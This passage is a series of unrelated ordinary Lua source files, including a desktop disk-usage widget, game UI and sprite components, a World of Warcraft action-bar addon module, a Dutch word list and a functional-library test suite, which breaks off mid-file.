-- -- Created by IntelliJ IDEA. -- User: crzang -- Date: 12.01.15 -- Time: 0:01 -- To change this template use File | Settings | File Templates. -- local setmetatable = setmetatable local fs_widget = { mt = {} } local indicator = require("crzang.widget.indicator") local io = { popen = io.popen } local tonumber = tonumber local pairs = pairs local string = { match = string.match, format = string.format } local fs_widget = { mt = {} } -- Unit definitions local unit = { ["mb"] = 1024, ["gb"] = 1024 ^ 2 } local function get_fs() -- helpers.set_map("fs", false) local partition = "/" fs_info = {} fs_now = {} local f = io.popen("LC_ALL=C df -kP " .. partition) for line in f:lines() do -- Match: (size) (used)(avail)(use%) (mount) local s = string.match(line, "^.-[%s]([%d]+)") local u, a, p = string.match(line, "([%d]+)[%D]+([%d]+)[%D]+([%d]+)%%") local m = string.match(line, "%%[%s]([%p%w]+)") if u and m then -- Handle 1st line and broken regexp fs_info[m .. " size_mb"] = string.format("%.1f", tonumber(s) / unit["mb"]) fs_info[m .. " size_gb"] = string.format("%.1f", tonumber(s) / unit["gb"]) fs_info[m .. " used_p"] = tonumber(p) fs_info[m .. " avail_p"] = 100 - tonumber(p) end end f:close() fs_now.used = tonumber(fs_info[partition .. " used_p"]) or 0 fs_now.available = tonumber(fs_info[partition .. " avail_p"]) or 0 fs_now.size_mb = tonumber(fs_info[partition .. " size_mb"]) or 0 fs_now.size_gb = tonumber(fs_info[partition .. " size_gb"]) or 0 return fs_now end local function new(image) local args = { max_value = function() return 100 end, get_value = function() fs_now = get_fs() return fs_now.used end, icon = image, get_hint = function() fs_now = get_fs() local hint = "Root part \n" .. "Size : " .. fs_now.size_gb .. "GB\n" .. "Used : " .. fs_now.used .. "%\n" return hint end } return indicator(args) end function fs_widget.mt:__call(...) return new(...) end return setmetatable(fs_widget, fs_widget.mt)
local AnimatedSprite = Component:extend("AnimatedSprite") function AnimatedSprite:initialize(image, framewidth, frameheight, delay, frames) self.width = framewidth self.height = frameheight self.image = assert(image:type() == "Image" and image, "first argument must be an image") self.quads = {} for x = 0, self.image:getWidth() / self.width do for y = 0, self.image:getHeight() / self.height do local quad = love.graphics.newQuad( x * self.width, y * self.height , self.width, self.height , self.image:getWidth(), self.image:getHeight()) table.insert(self.quads, quad) end end self.delay = delay or 0.1 self.frames = frames or #self.quads self.frame = 0 self.timer = 0 end function AnimatedSprite:draw() local sx, sy = self.scale.x, self.scale.y love.graphics.draw(self.image, self.quads[self.frame + 1], self.pos.x, self.pos.y, self.rotation, sx, sy, (self.width/2)/sx, (self.height/2)/sy) end function AnimatedSprite:update(dt) self.timer = self.timer + dt if self.timer > self.delay then local i = math.floor(self.timer / self.delay) self.frame = (self.frame + i) % self.frames self.timer = 0 end end
--[[ Copyright (c) 2009-2017, Hendrik "Nevcairiel" Leppkes < h.leppkes at gmail dot com > All rights reserved. ]] local _, Bartender4 = ... local StateBar = Bartender4.StateBar.prototype local ActionBar = setmetatable({}, {__index = StateBar}) Bartender4.ActionBar = ActionBar local LAB10 = LibStub("LibActionButton-1.0") local tonumber, format, min = tonumber, format, min -- GLOBALS: UIParent, VehicleExit --[[=================================================================================== ActionBar Prototype ===================================================================================]]-- local initialPosition do -- Sets the Bar to its initial Position in the Center of the Screen function initialPosition(bar) local offset = type(bar.id) == "number" and bar.id or 1 bar:ClearSetPoint("CENTER", 0, -250 + (offset-1) * 38) bar:SavePosition() end end -- Apply the specified config to the bar and refresh all settings function ActionBar:ApplyConfig(config) StateBar.ApplyConfig(self, config) if not self.config.position.x then initialPosition(self) end self:SetupSmartTarget() self:UpdateButtons() self:UpdateButtonConfig() end function ActionBar:OnEvent(event, ...) if event == "PLAYER_TALENT_UPDATE" or event == "PLAYER_SPECIALIZATION_CHANGED" or event == "LEARNED_SPELL_IN_TAB" then if InCombatLockdown() then self.updateSmartTargetOnOutOfCombat = true else self:SetupSmartTarget() end elseif event == "PLAYER_REGEN_ENABLED" then if self.updateSmartTargetOnOutOfCombat and not InCombatLockdown() then self.updateSmartTargetOnOutOfCombat = nil self:SetupSmartTarget() end end StateBar.OnEvent(self, event, ...) end function ActionBar:UpdateButtonConfig() StateBar.UpdateButtonConfig(self) if not self.buttonConfig then self.buttonConfig = { colors = { range = {}, mana = {} }, hideElements = {} } end self.buttonConfig.outOfRangeColoring = Bartender4.db.profile.outofrange self.buttonConfig.tooltip = Bartender4.db.profile.tooltip self.buttonConfig.colors.range[1], self.buttonConfig.colors.range[2], self.buttonConfig.colors.range[3] = Bartender4.db.profile.colors.range.r, Bartender4.db.profile.colors.range.g, Bartender4.db.profile.colors.range.b self.buttonConfig.colors.mana[1], self.buttonConfig.colors.mana[2], self.buttonConfig.colors.mana[3] = Bartender4.db.profile.colors.mana.r, Bartender4.db.profile.colors.mana.g, Bartender4.db.profile.colors.mana.b self.buttonConfig.hideElements.macro = self.config.hidemacrotext and true or false self.buttonConfig.hideElements.hotkey = self.config.hidehotkey and true or false self.buttonConfig.hideElements.equipped = self.config.hideequipped and true or false self.buttonConfig.showGrid = self.config.showgrid self.buttonConfig.clickOnDown = Bartender4.db.profile.onkeydown self.buttonConfig.flyoutDirection = self.config.flyoutDirection if tonumber(self.id) == 1 then for i, button in self:GetAll() do self.buttonConfig.keyBoundTarget = format("ACTIONBUTTON%d", i) button:UpdateConfig(self.buttonConfig) end else self:ForAll("UpdateConfig", self.buttonConfig) end self:ForAll("SetAttribute", "smarttarget", self.config.autoassist or self.config.mouseover) -- self casting self:UpdateSelfCast() -- button lock self:ForAll("SetAttribute", "buttonlock", Bartender4.db.profile.buttonlock) -- update state self:ForAll("UpdateState") end function ActionBar:UpdateSelfCast() StateBar.UpdateSelfCast(self) -- self casting self:ForAll("SetAttribute", "checkselfcast", Bartender4.db.profile.selfcastmodifier and true or nil) self:ForAll("SetAttribute", "checkfocuscast", Bartender4.db.profile.focuscastmodifier and true or nil) self:ForAll("SetAttribute", "*unit2", Bartender4.db.profile.selfcastrightclick and "player" or nil) end local UpdateSmartTarget = [[ local state, type, action = ... self:SetAttribute("targettype", nil) self:SetAttribute("unit", nil) if self:GetAttribute("smarttarget") then if type == "action" then type, action = GetActionInfo(action) end if type == "spell" and action > 0 then if BT_Spell_Overrides[action] then action = BT_Spell_Overrides[action] end local id, subtype = FindSpellBookSlotBySpellID(action), "spell" if id and id > 0 then if IsHelpfulSpell(id, subtype) then self:SetAttribute("targettype", 1) self:SetAttribute("unit", self:GetAttribute("target_help")) elseif IsHarmfulSpell(id, subtype) then self:SetAttribute("targettype", 2) self:SetAttribute("unit", self:GetAttribute("target_harm")) end end end end ]] function ActionBar:SetupSmartTarget() local s = [[ BT_Spell_Overrides = newtable() BT_Spell_Overrides[93402] = 8921 -- sunfire -> moonfire BT_Spell_Overrides[16979] = 102401 -- wild charge (bear) BT_Spell_Overrides[49376] = 102401 -- wild charge (cat) ]] local i = 1 local subtype, action = GetSpellBookItemInfo(i, "spell") while subtype do if subtype == "SPELL" then local spellId = select(7, GetSpellInfo(i, "spell")) if spellId and spellId ~= action then s = s .. "\n" .. ([[ BT_Spell_Overrides[%d] = %d ]]):format(spellId, action) end end i = i + 1 subtype, action = GetSpellBookItemInfo(i, "spell") end self:Execute(s) self:SetAttribute("ChildUpdateSmartTarget", UpdateSmartTarget) end function ActionBar:SetupSmartButton(button) button:SetAttribute("OnStateChanged", [[ if self:GetAttribute("statehidden") then return end local header = self:GetParent() header:RunFor(self, header:GetAttribute("ChildUpdateSmartTarget"), ...) ]]) button:SetAttribute("_childupdate-target-help", [[ self:SetAttribute("target_help", message) if self:GetAttribute("targettype") == 1 then self:SetAttribute("unit", message) end ]]) button:SetAttribute("_childupdate-target-harm", [[ self:SetAttribute("target_harm", message) if self:GetAttribute("targettype") == 2 then self:SetAttribute("unit", message) end ]]) end local customExitButton = { func = function(button) VehicleExit() end, texture = "Interface\\Icons\\Spell_Shadow_SacrificialShield", tooltip = LEAVE_VEHICLE, } -- Update the number of buttons in our bar, creating new ones if necessary function ActionBar:UpdateButtons(numbuttons) if numbuttons then self.config.buttons = min(numbuttons, 12) else numbuttons = min(self.config.buttons, 12) end local buttons = self.buttons or {} local updateBindings = (numbuttons > #buttons) -- create more buttons if needed for i = (#buttons+1), numbuttons do local absid = (self.id - 1) * 12 + i buttons[i] = LAB10:CreateButton(absid, format("BT4Button%d", absid), self, nil) for k = 1,14 do buttons[i]:SetState(k, "action", (k - 1) * 12 + i) end buttons[i]:SetState(0, "action", absid) if self.MasqueGroup then buttons[i]:AddToMasque(self.MasqueGroup) end self:SetupSmartButton(buttons[i]) if i == 12 then buttons[i]:SetState(11, "custom", customExitButton) buttons[i]:SetState(12, "custom", customExitButton) end end -- show active buttons for i = 1, numbuttons do buttons[i]:SetParent(self) buttons[i]:Show() buttons[i]:SetAttribute("statehidden", nil) buttons[i]:UpdateAction() end -- hide inactive buttons for i = (numbuttons + 1), #buttons do buttons[i]:Hide() buttons[i]:SetParent(UIParent) buttons[i]:SetAttribute("statehidden", true) end self.numbuttons = numbuttons self.buttons = buttons self:UpdateButtonLayout() self:SetGrid() if updateBindings and self.id == "1" then self.module:ReassignBindings() end -- need to re-set clickthrough after creating new buttons self:SetClickThrough() self:UpdateSelfCast() -- update selfcast and states end --[[=================================================================================== ActionBar Config Interface ===================================================================================]]-- -- get the current number of buttons function ActionBar:GetButtons() return self.config.buttons end -- set the number of buttons and refresh layout ActionBar.SetButtons = ActionBar.UpdateButtons function ActionBar:GetEnabled() return true end function ActionBar:SetEnabled(state) if not state then self.module:DisableBar(self.id) end end function ActionBar:GetGrid() return self.config.showgrid end function ActionBar:SetGrid(state) if state ~= nil then self.config.showgrid = state end self:UpdateButtonConfig() end function ActionBar:GetFlyoutDirection() return self.config.flyoutDirection end function ActionBar:SetFlyoutDirection(state) if state ~= nil then self.config.flyoutDirection = state end self:UpdateButtonConfig() end
-- Global counter (preserved across invocations) if not count then count = 0 else count = count + 1 end -- Get the writer local Chat_writer = CONTAINER.WRITER['_pub::Chat_writer'] Chat_writer.instance['id'] = "Rajive Lua" -- key field Chat_writer.instance['content'] = "Hello from Lua " .. count Chat_writer:write() print("Writing", Chat_writer.instance['id'], Chat_writer.instance['content'])
local BaseInstance = import("./BaseInstance") local json = import("../json") local HttpService = BaseInstance:extend("HttpService") function HttpService.prototype:JSONEncode(input) return json.encode(input) end function HttpService.prototype:JSONDecode(input) return json.decode(input) end return HttpService
local util = require "gumbo.dom.util" local Node = require "gumbo.dom.Node" local ChildNode = require "gumbo.dom.ChildNode" local rawget, setmetatable = rawget, setmetatable local _ENV = nil local DocumentType = util.merge(Node, ChildNode, { type = "doctype", nodeType = 10, publicId = "", systemId = "" }) function DocumentType:cloneNode() local clone = { name = rawget(self, "name"), publicId = rawget(self, "publicId"), systemId = rawget(self, "systemId") } return setmetatable(clone, DocumentType) end function DocumentType.getters:nodeName() return self.name end return DocumentType
-- import local UIWidgetRenderer = require 'candy.ui.light.UIWidgetRenderer' local UIButtonBaseModule = require 'candy.ui.light.widgets.UIButtonBase' local UIButtonBase = UIButtonBaseModule.UIButtonBase local UIWidgetElementImage = require 'candy.ui.light.renderers.UIWidgetElementImage' local DeckComponent = require 'candy.gfx.DeckComponent' local EntityModule = require 'candy.Entity' -- module local UICheckBoxModule = {} -------------------------------------------------------------------- -- UIButtonBase -------------------------------------------------------------------- ---@class UICheckBoxRenderer : UIWidgetRenderer local UICheckBoxRenderer = CLASS: UICheckBoxRenderer ( UIWidgetRenderer ) function UICheckBoxRenderer:onInit () self.slotElement = self:addElement ( UIWidgetElementImage (), "slot" ) self.markElement = self:addElement ( UIWidgetElementImage (), "mark" ) end function UICheckBoxRenderer:onUpdateContent ( widget, style ) local checked = widget:getContentData ( "value", "render" ) self.markElement:setVisible ( checked ) end -------------------------------------------------------------------- -- UICheckBox -------------------------------------------------------------------- ---@class UICheckBox : UIButtonBase local UICheckBox = CLASS: UICheckBox ( UIButtonBase ) :MODEL { Field "checked" :boolean () :isset ( "Checked" ); } :SIGNAL { valueChanged = ""; } function UICheckBox:__init () self.checked = false self.markSprite = self:attachInternal ( DeckComponent () ) self.markSprite:hide () self:connect ( self.clicked, "toggleChecked" ) end function UICheckBox:getDefaultRendererClass () return UICheckBoxRenderer end function UICheckBox:toggleChecked () return self:setChecked ( not self.checked ) end function UICheckBox:setChecked ( checked ) checked = checked and true or false if self.checked == checked then return end self.checked = checked self.valueChanged ( self.checked ) self:invalidateContent () self:setFeature ( "checked", checked ) end function UICheckBox:isChecked () return self.checked end function UICheckBox:getLabelRect () end function UICheckBox:getContentData ( key, role ) if key == "value" then return self.checked end end EntityModule.registerEntity ( "UICheckBox", UICheckBox ) UICheckBoxModule.UICheckBoxRenderer = UICheckBoxRenderer UICheckBoxModule.UICheckBox = UICheckBox return UICheckBoxModule
return {'genesis','gent','gentenaar','gents','gentse','gen','genaakbaar','genaamd','genade','genadebeeld','genadebrood','genadegift','genadeklap','genadeleer','genadeloos','genadeloosheid','genademiddel','genadeoord','genadeschot','genadeslag','genadestoot','genadetroon','genadeverbond','genadig','genageld','genaken','gendarme','gendarmerie','gendefect','gene','genealogie','genealogisch','genealoog','geneesbaar','geneesheer','geneeskracht','geneeskrachtig','geneeskruid','geneeskruiden','geneeskunde','geneeskundestudent','geneeskundestudente','geneeskundig','geneeskundige','geneeskunst','geneeslijk','geneesmethode','geneesmiddel','geneesmiddelenbeleid','geneesmiddelenbudget','geneesmiddelenfabrikant','geneesmiddelengebruik','geneesmiddelenindustrie','geneesmiddelenmarkt','geneesmiddelenonderzoek','geneesmiddelenpakket','geneesmiddelensector','geneesmiddelenverbruik','geneesmiddelenvergoedingssysteem','geneesmiddelenverkoop','geneesmiddelenvoorziening','geneesvlees','geneeswijze','genegen','genegenheid','geneigd','geneigdheid','genenbank','genenkaart','genenmateriaal','generaal','generaalsbewind','generaalschap','generaalsrang','generaalsregime','generaalsuniform','generalisatie','generaliseerbaar','generaliseerbaarheid','generaliseren','generalisering','generalissimus','generalist','generalistisch','generaliteit','generatie','generatieconflict','generatief','generatiegebonden','generatiegenoot','generatiegenote','generatiekloof','generatiestudent','generatietijd','generatieverschil','generatiewisseling','generator','generatorbedrijf','generatorset','genereerbaar','generen','genereren','genereus','generfd','generhande','generiek','generisch','generlei','generositeit','genese','geneselijk','genesis','genet','genetica','geneticus','genetisch','genetkat','geneugte','geneurie','geneuzel','genezen','genezer','genezing','genezingskans','genezingsproces','genezingsverhaal','geniaal','genialiteit','genie','geniehulpbataljon','genieofficier','geniep','geniepark','geniepig','geniepigerd','geniepigheid','geniesoldaat','genietbaar','genieten','genieter','genieting','genietroepen','genist','genitaal','genitalien','genitief','genius','genocidaal','genocide','genocidewet','genodigde','genoeg','genoegdoening','genoegen','genoeglijk','genoeglijkheid','genoegzaam','genoegzaamheid','genoemd','genoffel','genomineerde','genoodzaakt','genoom','genoomonderzoek','genoomproject','genoot','genootschap','genootschappelijk','genopt','genot','genotmiddel','genotmiddelenindustrie','genotrijk','genotsmiddel','genotsmiddelenindustrie','genotsrecht','genotteren','genotvol','genotype','genotypisch','genotziek','genotzoeker','genotzucht','genotzuchtig','genre','genreaanduiding','genrefilm','genrekunst','genreschilder','genrestuk','genretafereel','genster','gentech','gentechnologie','gentherapie','gentiaan','gentleman','genuanceerd','genuanceerdheid','genus','genvoedsel','genant','gene','geneuk','genafwijking','genadiglijk','genrevoorstelling','genenonderzoek','genadigheid','geniza','generatiepact','gendergelijkheid','genenpool','geneesmiddelenautoriteit','geneesmiddelenbeoordeling','geneesmiddelenproducent','geneesmiddelenreclame','geneesmiddelgebruik','genenpaar','genenpakket','genenpoel','genezingsbediening','genezingsdienst','genezingspercentage','geneeskundestudie','geneesmiddelendistributie','generatieprobleem','generaliteitslanden','gender','gendergebonden','genentechnologie','genotsknots','geniekorps','gendergelijkheidsbeleid','genderontwikkeling','gendringen','gendringer','gendrings','genemuiden','genepien','generaliteitsland','genk','genkenaar','genker','genkers','genks','gennep','gennepenaar','genneper','genneps','genoelselderen','genootschapseilanden','gentbrugge','gentbruggenaar','gentbrugs','genua','genuees','genst','genua','gennip','genee','gene','geneva','genevieve','gennaro','gentil','genet','gennissen','genders','genaaid','genaaide','genaaiden','genaak','genaakbare','genaakt','genaakte','genaakten','genaamde','genaast','genachtbraakt','genadebeelden','genadegiften','genadeloze','genadelozen','genadelozer','genademiddelen','genaden','genadeoorden','genaderd','genaderde','genadige','genadiger','genadigst','genadigste','genagelde','genarcotiseerd','genarcotiseerde','genard','genas','genasaleerd','genat','genationaliseerd','genationaliseerde','genaturaliseerd','genaturaliseerde','genaturaliseerden','genavigeerd','genazen','gendarmen','gendarmes','genealogen','genealogieen','genealogische','geneer','geneerde','geneerden','geneert','genees','geneesbare','geneesheren','geneeskrachtige','geneeskrachtiger','geneeskrachtigste','geneeskundestudenten','geneeskundigen','geneeslijke','geneesmiddelen','geneesmiddelenprijzen','geneest','geneeswijzen','genegeerd','genegeerde','genegeerden','genegenheden','genegligeerd','geneigde','geneigden','geneigdheden','genekt','genen','genenbanken','genepen','genept','genepte','gener','genera','generaals','generaalsuniformen','generale','generalisaties','generaliseer','generaliseerbare','generaliseerde','generaliseerden','generaliseert','generaliserend','generaliserende','generalisten','generaliteitslanden','generaties','generatieve','generatieverschillen','generatiewisselingen','generatoren','generators','generatorsets','genereer','genereerbare','genereerde','genereerden','genereert','genererend','genererende','genereuze','genereuzer','generfde','generica','generieke','geneselijke','genest','geneste','genesteld','genestelde','geneteld','genetelde','genetische','genetkatten','genette','genetten','geneugten','geneugtes','geneukt','geneukte','geneukten','geneuried','geneusd','geneusde','geneutraliseerd','geneutraliseerde','geneuzeld','geneuzelde','geneveld','genezend','genezingen','genezingsverhalen','gengewassen','geniaalst','geniale','genialer','geniepige','geniepiger','geniepigerds','geniepigere','geniepigheden','geniepigst','geniepigste','geniesd','geniesoldaten','geniest','geniet','genietbaarder','genietbaarst','genietbare','geniete','genietend','genieters','genietingen','genieen','genikt','genipt','genisten','genitale','genitieven','genitreerd','genivelleerd','genivelleerde','genielleerd','genociden','genode','genodigd','genodigden','genoegd','genoegde','genoegens','genoeglijke','genoeglijker','genoeglijkheden','genoeglijkste','genoegt','genoegzame','genoemde','genoemden','genokt','genomen','genomineerd','genomineerden','genood','genoodzaakte','genoopt','genoopte','genootschappelijke','genootschappen','genormaliseerd','genormaliseerde','genormeerde','genoteerd','genoteerde','genoteerden','genoten','genotificeerd','genotificeerde','genotmiddelen','genotrijke','genotsrechten','genotuleerd','genotuleerde','genotypen','genotzieke','genotzoekers','genres','genreschilders','genrestukken','gensters','gentechnieken','gentechvrije','genten','gentianen','gentlemen','genuanceerde','genuanceerden','genuanceerder','genummerd','genummerde','genummerden','genut','genuttigd','genuttigde','genante','genanter','genantere','genantst','genantste','genien','genetici','gentenaars','genades','genasjt','genast','geneesmethoden','geneesmethodes','genegotieerd','generaliseringen','generalistische','generatieconflicten','generatiegenoten','generatiestudenten','generische','genetwerkt','genetwerkte','geneurotiseerd','genezende','genezers','genezingskansen','geniaals','geniaalste','genietende','genijdast','genikst','genocidale','genocides','genoffels','genopte','genormeerd','genotsmiddelen','genotvolle','genotypes','genotypische','genotzuchtige','genrefilms','genretaferelen','genuanceerdere','gentenaren','genegerd','genereust','genoffeltje','generieken','genadeloost','genafwijkingen','generaalsbewinden','generalissimi','genrevoorstellingen','genieofficieren','genkse','genes','genesis','genevas','genevieves','gennaros','gentils','geneesmiddelenfabrikanten','geneesmiddelenautoriteiten','genezingsprocessen','geneeskrachten','genrestukje','genrestukjes','geneesmiddelenproducenten','generatiepacten','genietbaars','genenkaarten','genenpools','genezingspercentages','geneesmiddeltjes','geneesmiddelenonderzoeken','geneeskundestudies','genoomprojecten','genenpakketje','gendtse','gennepse'}
local Status = require('bt.task.task_status') local Decorator = require('bt.decorator.decorator') local mt = {} mt.__index = mt function mt.new(cls) local self = Decorator.new(cls) self.interrput_status = Status.failure self.execution_status = Status.inactive return self end function mt:can_execute() local st = self.execution_status return st == Status.inactive or st == Status.running end function mt:on_child_executed(child_status) self.execution_status = child_status end function mt:interrupt(status) self.interrput_status = status global.bt_mgr:interrupt(self.owner, self) end function mt:on_end() self.interrput_status = Status.failure self.execution_status = Status.inactive end return mt
describe('cranberry', function() local cb = require 'cranberry' local t = { 1, { 'apple', 7 }, sayHello = function() return 'hello' end } local s = { 'a', 'b', 'c', 'd' } local a = { 1, 2, 3, 4 } test('shift_ should destructively remove the first element of an array '.. 'a and return it', function() local a = { 1, 2, 3, 4 } assert.equals(1, cb.shift_(a)) assert.is_same({ 2, 3, 4 }, a) assert.equals(2, cb.shift_(a)) assert.is_same({ 3, 4 }, a) end) test('unshift_ should destructively destructively insert v at the ' .. 'beginning of a', function() local a = { 3, 4 } cb.unshift_(a, 2) assert.is_same({ 2, 3, 4 }, a) cb.unshift_(a, 1) assert.is_same({ 1, 2, 3, 4 }, a) end) test('map should apply a function to every member of the array', function() local v = cb.map(string.upper, s) assert.is_same(v, { 'A', 'B', 'C', 'D' }) assert.is_same(s, { 'a', 'b', 'c', 'd' }) end) test('map should destructively apply a function to every member of ' .. 'the array', function() local v = { 'a', 'b', 'c', 'd' } cb.map_(string.upper, v) assert.is_same(v, { 'A', 'B', 'C', 'D' }) end) test('map_ should destructively apply a function to every member of ' .. 'the array', function() local v = cb.map(string.upper, s) assert.is_same(v, { 'A', 'B', 'C', 'D' }) assert.is_same(s, { 'a', 'b', 'c', 'd' }) end) test('foldr reduces the list from right to left using the function f', function() local function f(x, y) return x - y end local v = cb.foldr(f, 0, a) local w = cb.foldr1(f, a) assert.equals(v, 1 - (2 - (3 - (4 - 0)))) assert.equals(w, 1 - (2 - (3 - 4))) end) test('foldl reduces the list from left to right using the function f', function() local function f(x, y) return x - y end local v = cb.foldl(f, 0, a) local w = cb.foldl1(f, a) assert.equals(v, (((0 - 1) - 2) - 3) - 4) assert.equals(w, ((1 - 2) - 3) - 4) end) --[[ test('filter takes a function and returns an array of all elements ' .. 'of an array that are true under that function', function() local v = cb.filter(function(x) return x % 2 == 0 end, a) assert.is_same(v, { 2, 4 }) end) --]] test('filter takes a function and returns an array of all elements ' .. 'of an array that are true under that function', function() local v = cb.filter(function(i,x) return (x%2 == 0) or (i == 3) end, a) assert.is_same(v, { 2, 3, 4 }) end) test('filterObject should be similar to filter, except it operates on ' .. 'the entire table with the function f(k, v)', function() local v = cb.filterObject(function(k, x) return (x == 1) or (k == 'pear') end, { pear = true, apple = false, mango = 1 }) assert.equals(true, v['pear']) assert.equals(1, v['mango']) end) test('elem returns true if e is in a and false otherwise', function() assert.is_true(cb.elem('b', s)) assert.is_not_true(cb.elem('z', s)) end) test('curry(f, n) should curry f to n places', function() local function f(a, b, c) return b * (a - c) end local g = cb.curry(f, 3) local g2 = cb.curry(f, 2) local g4 = cb.curry(f, 4) assert.equals(f(3,4,5), g(3)(4)(5)) assert.equals(f(3,4,5), g2(3)(4, 5)) assert.equals(f(3,4,5), g4(3)(4)(5)()) -- shouldn't happen, but it does. TODO: Fix -- assert.not_equals(f(3,4,5), g(3,4,5)()()) end) test('uncurry(f, n) should uncurry f to n places', function() local function f(a, b, c) return b * (a - c) end local g = cb.curry(f, 3) local h = cb.uncurry(g, 3) local h2 = cb.uncurry(g, 2) local h4 = cb.uncurry(g, 4) assert.equals(f(3,4,5), h(3,4,5)) assert.equals(f(3,4,5), h2(3,4)(5)) assert.equals(f(3,4,5), h4(3,4,5)) end) test('max should return the maximal element of a', function() assert.equals(cb.max(a), 4) end) test('min should return the minimal element of a', function() assert.equals(cb.min(a), 1) end) test('sum should return the sum of a', function() assert.equals(cb.sum(a), 1 + 2 + 3 + 4) end) test('product should return the product of a', function() assert.equals(cb.product(a), 1 * 2 * 3 * 4) end) test('all should return true if p(a[i]) is true for every element a[i] of a', function() assert.is_true(cb.all(function(v) return v < 10 end, a)) assert.is_not_true(cb.all(function(v) return v ~= 2 end, a)) end) test('any should return true if p(a[i]) is true for any element a[i] of a', function() assert.is_not_true(cb.any(function(v) return v > 10 end, a)) assert.is_true(cb.any(function(v) return v == 2 end, a)) end) test('none should return true if p(a[i]) is false for every ' .. 'element a[i] of a', function() assert.is_true(cb.none(function(v) return v > 10 end, a)) assert.is_not_true(cb.none(function(v) return v == 2 end, a)) end) test('id is the identity', function() assert.equals(cb.id(2), 2) assert.equals(cb.id('a'), 'a') assert.equals(cb.id(t), t) end) test('const returns a function that returns the value given to const', function() local f = cb.const('a') assert.equals(f(3), 'a') assert.equals(f('q'), 'a') assert.equals(f(t), 'a') end) test('flip should return a function that takes its first two arguments '.. 'in the reverse order of f', function() local f = function(a, b, c) return a .. b .. c end local g = cb.flip(f) assert.equals(f('a', 'b', 'c'), g('b', 'a', 'c')) end) test('applyUntil should apply f to each element of a until p returns true', function() local p = function(v) return v > 2 end local f = function(v) return v + 1 end assert.is_same(cb.applyUntil(p, f, a), { 2, 3 }) assert.is_equal(cb.applyUntil(p, f, 1), 2) end) test('append should return a1 appended by a2', function() assert.is_same(cb.append({1, 2}, {3, 4}), a) end) test('append should append all of the arguments', function() assert.is_same(cb.append({1}, {2, 3}, {4}), a) end) test('append_ should destructively append a1 by a2', function() local b = { 1, 2 } cb.append_(b, { 3, 4 }) assert.is_same(a, b) end) test('append_ should destructively append all of the arguments', function() local b = { 1 } cb.append_(b, {2, 3}, {4}) assert.is_same(b, a) end) test('head should return the first n elements of a', function() assert.is_same(cb.head(a, 2), {1, 2}) assert.is_same(cb.head(s), 'a') end) test('last should return the last n elements of a', function() assert.is_same(cb.last(a, 3), {2, 3, 4}) assert.is_same(cb.last(s), 'd') end) test('tail should return the elements of a after skipping n', function() assert.is_same(cb.tail(a, 2), {3, 4}) assert.is_same(cb.tail(s), {'b', 'c', 'd'}) end) test('init should return all but the last element of a', function() assert.is_same(cb.init(a), {1, 2, 3}) end) test('reverse should reverse an array', function() local v = cb.reverse(a) local w = cb.reverse({ 1, 2, 3, 4, 5 }) assert.is_same(v, { 4, 3, 2, 1 }) assert.is_same(a, { 1, 2, 3, 4 }) assert.is_same(w, { 5, 4, 3, 2, 1 }) end) test('reverse_ should destructively reverse an array', function() local v = { 1, 2, 3, 4, 5 } cb.reverse_(v) assert.is_same(v, { 5, 4, 3, 2, 1 }) end) test('concat should concatenate all of the elements of as', function() local r = cb.concat({ {1,2}, {3}, {4} }) assert.is_same(r, a) end) test('scanl should return a list containing each of the intermediate ' .. 'steps of foldl', function() local function f(x, y) return x - y end local v = cb.scanl(f, 0, a) local w = cb.scanl1(f, a) assert.is_same(v, { 0, -1, -3, -6, -10 }) assert.is_same(w, { 1, -1, -4, -8 }) end) test('scanr should return a list containing each of the intermediate ' .. 'steps of foldr', function() local function f(x, y) return x - y end local v = cb.scanr(f, 0, a) local w = cb.scanr1(f, a) assert.is_same(v, { 0, 4, -1, 3, -2 }) assert.is_same(w, { 4, -1, 3, -2 }) end) test('splitAt(n, a) should return { take(n, a), drop(n, a) }', function() assert.is_same({ { 1 }, { 2, 3, 4 } }, cb.splitAt(1, a)) assert.is_same({ { 1, 2 }, { 3, 4 } }, cb.splitAt(2, a)) assert.is_same({ { 1, 2, 3 }, { 4 } }, cb.splitAt(3, a)) assert.is_same({ { 1, 2, 3, 4 }, {} }, cb.splitAt(4, a)) end) test('takeWhile(p, a) should return the longest prefix of a that ' .. 'all satisfy p', function() local function p(v) return v ~= 3 end assert.is_same({ 1, 2 }, cb.takeWhile(p, a)) end) test('dropWhile(p, a) should return the elments remaining after '.. 'takeWhile(p, a)', function() local function p(v) return v ~= 3 end assert.is_same({ 3, 4 }, cb.dropWhile(p, a)) end) test('span(p, a) should return { takeWhile(p, a), dropWhile(p, a) }', function() local function p(v) return v ~= 3 end assert.is_same({{ 1, 2 }, { 3, 4 }}, cb.span(p, a)) end) test('zip(a, b) should return an array of corresponding pairs of ' .. 'elements from a and b.\n\t\tIf one array is short, then the ' .. 'remaining elements of the longer array are discarded', function() assert.is_same( { { 1, 'a' }, { 2, 'b' }, { 3, 'c' }, { 4, 'd' } }, cb.zip(a, s) ) assert.is_same( { { 1, 'a' }, { 2, 'b' }, { 3, 'c' }, { 4, 'd' } }, cb.zip(cb.append(a, { 5, 6, 7 }), s) ) end) test('zip3(a, b, c) should be similar to zip, except it takes three ' .. 'arrays instead of two', function() local b = { true, false, false } assert.is_same( { { 1, 'a', true }, { 2, 'b', false }, { 3, 'c', false } }, cb.zip3(a, s, b) ) end) test('zipWith(f, a, b) should return an array of the function f applied'.. ' to corresponding pairs of\n\t\telements from a and b. If one ' .. 'array is short, then the remaining elements of the\n' .. '\t\tlonger array are discarded', function() local function sub(a, b) return a - b end assert.is_same( { 7-1, 6-2, 5-3, 4-4 }, cb.zipWith(sub, cb.reverse(cb.append(a, { 5, 6, 7 })), a) ) end) test('zipWith3(f, a, b, c) should be similar to zipWith, except it ' .. 'takes three arrays instead of two', function() local function f(a, b, c) return b * (a - c) end assert.is_same( { 1 * (4 - 2), 2 * (3 - 3), 3 * (2 - 4) }, cb.zipWith3(f, {4,3,2}, {1,2,3}, {2,3,4}) ) end) test('unzip(ps) should take an array of pairs and return an array of ' .. 'first components and second components', function() assert.is_same({ a, s }, cb.unzip(cb.zip(a, s))) end) test('unzip3(ts) should be similar to unzip, except it takes an array ' .. 'of triples instead of pairs', function() local b = { true, false, false, true } assert.is_same({ a, s, b }, cb.unzip3(cb.zip3(a, s, b))) end) test('lines(s) should return an array of all lines in s', function() assert.is_same( { 'ab', '', '12 4 5\t', '3' }, cb.lines('ab\n\n12 4 5\t\n3\n') ) end) test('unlines(as) should concatenate all of the strings in as, ' .. 'separated by a newline', function() assert.equals( 'ab\n\n12 4 5\t\n3', cb.unlines({ 'ab', '', '12 4 5\t', '3' }) ) end) test('words(s) should return an array of all words in s that are ' .. 'separated by 